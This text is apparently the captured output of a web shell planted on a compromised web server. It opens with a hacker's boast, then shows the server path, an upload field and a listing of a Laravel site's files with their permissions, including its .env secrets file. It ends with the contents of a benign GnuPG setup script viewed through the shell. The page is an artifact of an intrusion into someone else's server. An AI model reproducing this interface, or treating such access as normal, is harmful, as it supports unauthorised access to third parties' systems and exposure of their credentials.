I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
#!/bin/sh # Add a new .gnupg home directory for a list of users -*- sh -*- # # Copyright 2004 Free Software Foundation, Inc. # # This file is free software; as a special exception the author gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # # This file is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY, to the extent permitted by law; without even the # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. PGM=addgnupghome any_error=0 error () { echo "$PGM: $*" >&2 any_error=1 } info () { echo "$PGM: $*" >&2 } # Do it for one user one_user () { user="$1" home=$(${cat_passwd} | awk -F: -v n="$user" '$1 == n {print $6}') if [ -z "$home" ]; then if ${cat_passwd} | awk -F: -v n="$user" '$1 == n {exit 1}'; then error "no such user \`$user'" else error "no home directory for user \`$user'" fi return fi if [ ! -d "$home" ]; then error "home directory \`$home' of user \`$user' does not exist" return fi if [ -d "$home/.gnupg" ]; then info "skipping user \`$user': \`.gnupg' already exists" return fi info "creating home directory \`$home/.gnupg' for \`$user'" if ! mkdir "$home/.gnupg" ; then error "error creating \`$home/.gnupg'" return fi if ! chown $user "$home/.gnupg" ; then error "error changing ownership of \`$home/.gnupg'" return fi group=$(id -g "$user") [ -z "$group" ] && group="0" if [ "$group" -gt 0 ]; then if ! chgrp $group "$home/.gnupg" ; then error "error changing group of \`$home/.gnupg'" return fi fi if ! cd "$home/.gnupg" ; then error "error cd-ing to \`$home/.gnupg'" return fi for f in $filelist; do if [ -d /etc/skel/.gnupg/$f ]; then mkdir $f else cp /etc/skel/.gnupg/$f $f fi if ! chown $user $f ; then error "error changing ownership of \`$f'" return fi if [ "$group" -gt 0 ]; then if ! chgrp $group "$f" ; then error "error changing group of \`$f'" return fi fi done } if [ -z "$1" ]; then echo "usage: $PGM userids" exit 1 fi # Check whether we can use getent if getent --help /dev/null 2>&1 ; then cat_passwd='getent passwd' else cat_passwd='cat /etc/passwd' info "please note that only users from /etc/passwd are checked" fi if [ ! -d /etc/skel/.gnupg ]; then error "skeleton directory \`/etc/skel/.gnupg' does not exist" exit 1 fi cd "/etc/skel/.gnupg" || (error "error cd-ing to \`/etc/skel/.gnupg'"; exit 1) filelist=$(find . \( -type f -o -type d \) '!' -name '*~' '!' -name . -print) if ! umask 0077 ; then error "error setting umask" exit 1 fi for name in $*; do one_user $name done exit $any_error